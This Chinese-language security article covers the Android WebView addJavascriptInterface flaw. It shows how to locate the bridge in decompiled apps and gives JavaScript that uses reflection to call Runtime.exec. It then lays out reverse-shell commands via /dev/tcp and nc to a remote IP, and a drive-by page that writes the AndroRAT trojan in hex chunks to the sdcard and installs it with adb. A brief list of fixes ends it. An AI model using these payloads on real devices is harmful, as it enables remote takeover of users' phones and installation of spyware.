WebView中介面隱患與手機掛馬利用
0x00 背景
在android的sdk中封裝了webView控制元件。這個控制元件主要用開控制的網頁瀏覽。在程式中裝載webView控制元件,可以設定屬性(顏色,字型等)。類似PC下directUI的功能。在webView 下有一個非常特殊的介面函式addJavascriptInterface。能實現本地java和js的互動。利用addJavascriptInterface這個介面函式可實現穿透webkit控制android 本機。
0x01 檢測利用
一般使用html 來設計應用頁面的幾乎不可避免的使用到addJavascriptInterface,包含不限於android瀏覽器。
在android 程式碼程式一般是這樣使用:
#!java
settings.setJavaScriptEnabled(true);
settings.setJavaScriptCanOpenWindowsAutomatically(true);
mWebView.addJavascriptInterface(new JSInvokeClass(), "js2java");
這裡可以用
apk->zip->dex->dex2jar->jdgui->java
程式碼來查詢。
但建議用apktool 反編譯smali(畢竟不是所有apk都能反編譯成java程式碼)
在smali程式碼中 則是類似下列的程式碼:
const-string v0, " js2java "
invoke-virtual {p1, v1, v0},Lcom/tiantianmini/android/browser/module/ac;->addJavascriptInterface(Ljava/lang/Object;Ljava/lang/String;)V
當檢測到存在上述程式碼時,可以進行進一步驗證利用:
在11年,已經有人利用addJavascriptInterface進行檔案讀寫,並放出簡單的poc,到12年出現了簡單的執行程式碼的exp。利用的是反射回撥java類的內建靜態變數。如下列的利用程式碼;
<script>
function execute(cmdArgs)
{
return js2java.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
…
</script>
利用java的exec執行linux的shell命令。
0x02 遠端獲取shell
套用yuange的一句話:Poc遠遠小於exp的價值。
利用addJavascriptInterface實現shell.
Android內部的armlinux 是沒有busybox 的,一些常規彈shell的方法被限制。
使用了java的反彈shell方法
//execute(["/system/bin/sh","-c","exec 5<>/dev/tcp/192.168.1.9/8088;cat <&5 | while read line; do $line 2>&5 >&5; done"]);
在Nexus One 4.3的android虛擬機器 並未成功彈出shell.
後發現android中可執行 nc命令 (閹割版的不帶-e的nc)
這裡用了nc的另外一種彈shell的方法完成
Exp 內容:
#!javascript
<script>
function execute(cmdArgs)
{
return XXX.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
execute(["/system/bin/sh","-c","nc 192.168.1.9 8088|/system/bin/sh|nc 192.168.1.9 9999"]);
alert("ok3");
</script>
// 注 xxx 保護隱私用xx代指。
效果如下 
當然可以用遠端IP地址。
0x03 遠端掛馬
畢竟是android環境,shell使用不是很方便。類似xsser肯定不滿足於此。
再昇華下,實現網頁掛馬。
Android 4.1已經加入ASLR技術,堆噴射之類不再有效。UAF要針對android的核心版本。利用自身特性的漏洞是目前比較靠譜的方法。
這裡以androrat遠控木馬為例。
實現網頁掛馬
大部分瀏覽器已經對下載檔案進行儲存提示。這裡需要把andrat.apk寫到掛馬網頁之中。
#!javascript
<script>
function execute(cmdArgs)
{
return xxx.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
var armBinary = "x50x4Bx03x04x14x00x08x00x08x00x51x8FxCAx40x00x00x00x00x00x00x00x00x00x00x00x00x13x00x04x00x72x65x73x2Fx6Cx61x79x6Fx75x74x2Fx6Dx61x69x6Ex2Ex78x6Dx6CxFExCAx00x00xADx52x31x6FxD3x40x18xFDx2Ex76xAEx86xC4x69x5Ax3Ax54xA2x12xA9xC4x80x22x61xE3xAAx42x4DxC7x22x86x4Ax91xA8x14xC4x0Ax56x7CxC2x27x68x1Cx39x57x0Ax53x11x3Bx63x37x06xFEx01x33x1Bx43x17x36x56xFEx07xACx6Dx9FxCBx1Dx3Dx
……
var patharm = "/data/app/Androrat.apk";
var a=execute(["/system/bin/sh","-c","echo -n +armBinary+ > " + patharm]);
execute(["chmod"," 755 ","/data/app/Androrat.apk"]);
這樣存在幾個問題:
andrat.apk的 hex value大約300k,瀏覽器或者java的exec可能對傳入引數大小有限制,(測試的瀏覽器有限制無法執行)
/data/app/ 目錄存在許可權問題,需要root,chmod 也是同理。
Android這種靜默安裝要麼是有root或者系統簽名的install許可權,要麼是做成預裝軟體的樣子並且重啟。或者是2.2 版本左右可以 透過呼叫隱藏api安裝。
經過進行fuzz實驗,完成了掛馬功能:
#!javascript
<script>
function execute(cmdArgs)
{
return xxx.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
var armBinary1 = "x50x4Bx03x04x14x00x08x00x08x00x51x8FxCAx40x00x00x00x00x00x00x00x00x00x00x00x00x13x00x04x00x72x65x73x2Fx6Cx61x79x6Fx75x74x2Fx6Dx61x69x6Ex2Ex78x6Dx6CxFExCAx00x00xADx52x31x6FxD3x40x18xFDx2Ex76xAEx86xC4x69x5Ax3Ax54xA2x12xA9xC4
var armBinary2="x1BxB0x65x0AxADx23xC2x30x64xDFxEExA1x0DxA4xE8x3Fx61x80xEExBCxE1xE7x7Bx4Ax25x6Fx8Bx36x71xC3x80x81x58xDBxC9x8Fx53x9FxEEx8Ax45xAFx23x54x4AxCFx2Bx52xF2x33x84xBAx82x36xC4x0Dx08xAFxC2x61x8ExD8x7Bx0BxFCx88x4Ax25x24x8Cx22xFAx76x44x78x5Ex99x62x30x44x8DxDBx74x94
var armBinary3=…
var armBinary4=…
……
var patharm = "/mnt/sdcard/Androrat.apk";
var a=execute(["/system/bin/sh","-c","echo -n +armBinary1+ > " + patharm]);
//alert(a);
execute(["/system/bin/sh","-c","echo -n +armBinary2+ >> " + patharm]);
execute(["/system/bin/sh","-c","echo -n +armBinary3+ >> " + patharm]);
execute(["/system/bin/sh","-c","echo -n +armBinary4+ >> " + patharm]);
execute(["/system/bin/sh","-c","adb install /mnt/sdcard/Androrat.apk"]);
alert("over !!!");
</script>
將androrat.apk拆分。
利用echo寫入到sdcard中(此目錄可讀可寫 不可執行)。
利用自身帶的adb進行安裝(安裝各種xx手機助手的不在少數吧)。 
Androrat 成功安裝,這裡使用了androrat的debug=true模式。
成功連線到控制端。
0x04 修復
1、Android 4.2 (api17)已經開始採用新的介面函式【java中應該叫方法:) 】,@JavascriptInterface 代替addjavascriptInterface, 有些android 2.3不再升級,瀏覽器需要相容。
2、在使用js2java的bridge時候,需要對每個傳入的引數進行驗證,遮蔽攻擊程式碼。
3、控制相關許可權或者儘可能不要使用js2java的bridge。
Link: http://developer.android.com/reference/android/webkit/WebView.html http://developer.android.com/reference/android/webkit/WebView.html#addJavascriptInterface(java.lang.Object, java.lang.String) http://www.cis.syr.edu/~wedu/Research/paper/webview_acsac2011.pdf http://50.56.33.56/blog/?p=314
相關文章
- 高通處理器曝安全隱患 駭客可輕易入侵手機2016-06-03
- 運維安全隱患2017-10-26運維
- HTML框架的隱患2014-08-18HTML框架
- Java 重寫方法與初始化的隱患2015-10-29Java
- LMCompatibilityLevel 安全隱患2022-07-27
- React 應用中的效能隱患 —— 神奇的多型2018-03-12React多型
- 手機介面2017-03-14
- 機房存在哪些安全隱患?需要排查哪些地方?2017-11-17
- WebApi系列~HttpClient的效能隱患2017-10-19WebAPIHTTPclient
- Android木馬利用Tor隱藏指令伺服器位置2014-02-27Android伺服器
- C# 隱式介面與顯式介面2014-03-28C#
- PHP 隱藏手機號碼中間4位2021-02-18PHP
- iOS開發如何避免安全隱患2019-07-29iOS
- PHP雙引號的小隱患2021-09-09PHP
- CFRunloop的多執行緒隱患2018-03-25OOP執行緒
- DATABASE VAULT授權的安全隱患2009-01-01Database
- 電動汽車充電樁安全隱患與解決辦法2018-07-10
- 技術不夠,外掛來湊,小心遠控木馬“上身”爆發隱私危機2020-09-09
- 手機除錯、webview跳轉、vue基礎2017-08-06除錯WebViewVue
- chrome以及safari遠端除錯手機webview2014-11-27Chrome除錯WebView
- 從客戶端遊戲漏洞看開發中的安全隱患2020-08-19客戶端遊戲
- 數字化醫療建設中的網路安全隱患2019-01-09
- 儲存網路在企業應用中的安全隱患2016-08-30
- 無線安全隱患分析:使用者位置隱私曝光2017-09-06
- 免費代理IP有哪些安全隱患2021-09-11
- Laravel Bindings 的一處安全隱患2021-01-22Laravel
- 如何消除MySQL賬號的安全隱患2017-03-20MySql
- 設計院如何解決安全隱患?2016-06-27
- 免費WIFI的安全隱患——資訊圖2014-12-17WiFi
- websphere日誌分析——程式隱患問題2010-03-03Web
- Windows 2000 的安全隱患 (轉)2007-12-03Windows
- 5款手機APP介面設計欣賞與手機APP設計學習2015-10-06APP
- 手機小技巧:小米手機怎麼隱藏應用?2022-01-28
- Windows的愛與恨不得不防的網路安全隱患2017-11-07Windows
- 復旦大學:保險App使用者隱私與個人資訊保護的若干隱患研究報告2023-02-18APP
- 自籤SSL證書有哪些安全隱患2020-11-27
- 全面降低windows系統的安全隱患(五)2017-11-17Windows
- 公交wifi隱患多,安全問題堪憂2014-12-11WiFi